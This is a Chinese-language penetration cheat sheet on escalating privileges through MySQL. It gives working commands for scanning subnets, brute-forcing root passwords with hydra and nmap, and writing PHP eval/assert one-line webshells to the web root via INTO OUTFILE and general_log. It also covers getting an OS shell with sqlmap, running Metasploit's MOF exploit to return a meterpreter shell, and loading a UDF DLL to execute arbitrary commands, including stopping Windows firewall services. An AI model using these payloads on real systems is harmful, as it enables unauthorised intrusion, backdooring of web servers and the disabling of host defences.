MySQL提权总结

MySQL信息收集

端口扫描

使用nmap -p 3306 192.168.1.1-254 扫描

或者使用其它指定端口扫描器扫描C段

版本信息

(1) msf 模块查看版本信息

1
2
3
use auxiliary/scanner/mysql/mysql_version 
set RHOST 192.168.1.*
run

(2) sqlmap 通过注入点扫描确认信息

1
sqlmap.py -u url --dbms mysql

(3) MySQL 查询命令

1
2
select @@version; --查询版本
select @@basedir; --查询

数据库管理信息收集

查看是否有phpmyadmin等数据库管理软件

MySQL密码获取

(1)有webshell或者源码泄露情况,看配置文件

(2)检查root空口令

1
nmap --script=mysql-empty-password 192.168.1.*

(3)暴力破解

1
hydra -l root -P /tmp/pass.txt -t 4 -v 192.168.1.* mysql
1
nmap --script=mysql-brute 192.168.1.1-254

(4)msf内网渗透

1
2
3
4
5
use auxiliary/scanner/mysql/mysql_login
set RHOST 192.168.1.*
set username root
set password root
run

MySQL获取Webshell

通过phpmyadmin获取

1.螳螂捕蝉黄雀在后

通过程序报错、phpinfo函数信息等,获取网站真实目录

或许以前有人入侵过留下了webshell

2.直接导出一句话后门

1
select '<?php @eval($_POST['wintry']);?>' into 'c:/www/cmd.php' --需有网站真实目录

3.general_log_file 获取 webshell

(1)查看genera文件配置情况

1
show global variables like "%genera%";

(2)关闭general_log

1
set global general_log=off;

(3)通过general_log选项来获取webshell

1
2
3
set global general_log=’on’;

SET global general_log_file='D:/phpStudy/WWW/cmd.php';

在查询中执行语句:

1
SELECT '<?php assert($_POST["cmd"]);?>';

Shell 为 cmd.php,一句话后门,密码为cmd

4.sqlmap注入点获取webshell

1
2
sqlmap -u url --os-shell
echo "<?php @eval($_POST['c']);?>">/data/www/1.php

mof提权

Msf直接mof提权

Msf 下有Mof 提权模块 ,不过该漏洞成功跟操作系统权限和Mysql数据库版本有关

执行成功后会直接反弹 shell 到 meterpreter

1
2
3
4
5
6
7
use exploit/windows/mysql/mysql_mof
setrhost 192.168.157.1 //设置需要提权的远程主机IP地址
setrport 3306 //设置mysql的远程端口
setpasswordroot //设置mysql数据库root密码
setusername root //设置mysql用户名
options //查看设置
run 0

技巧:

要是能够通过网页连接管理(phpmyadmin),则可以修改host为“%”并刷新权限后,则可以通过msf等工具远程连接数据库。

默认root等账号不允许远程连接,除非管理员或者数据库用户自己设置

UDF提权

UDF提权条件

(1) Mysql 版本大于 5.1 版本 udf.dll 文件必须放置于 MYSQL 安装目录下的 lib\plugin 文件夹下。

(2) Mysql 版本小于 5.1 版本。udf.dll 文件在 Windows2003 下放置于 c:\windows\system32

在 windows2000 下放置于 c:\winnt\system32

常见的是直接使用udf.php此类的工具来执行udf提权,下载链接

udf.dll可以用sqlmap生成,步骤如下:

1.首先进入到 sqlmap\extra\cloak\cloak 目录下

2.打开命令终端,执行命令:python cloak.py -d -i \sqlmap目录\udf\mysql\windows\32\lib_mysqludf_sys.dll_

3.将生成的lib_mysqludf_sys.dll改名为udf.dll上传到目标数据库

4.创建相应函数:create function sys_eval returns string soname 'udf.dll';

5.执行命令:select sys_eval(‘whoami’);

6.删除函数:drop function sys_eval;

连不上3389可以先停止windows防火墙和筛选

1
2
select sys_eval(‘net stop policyagent’);
select sys_eval(‘net stop sharedaccess’);

函数说明:

sys_eval,执行任意命令,并将输出返回。

sys_exec,执行任意命令,并将退出码返回。

sys_get,获取一个环境变量。

sys_set,创建或修改一个环境变量。

END

一个MySQL自动化提权工具:Github链接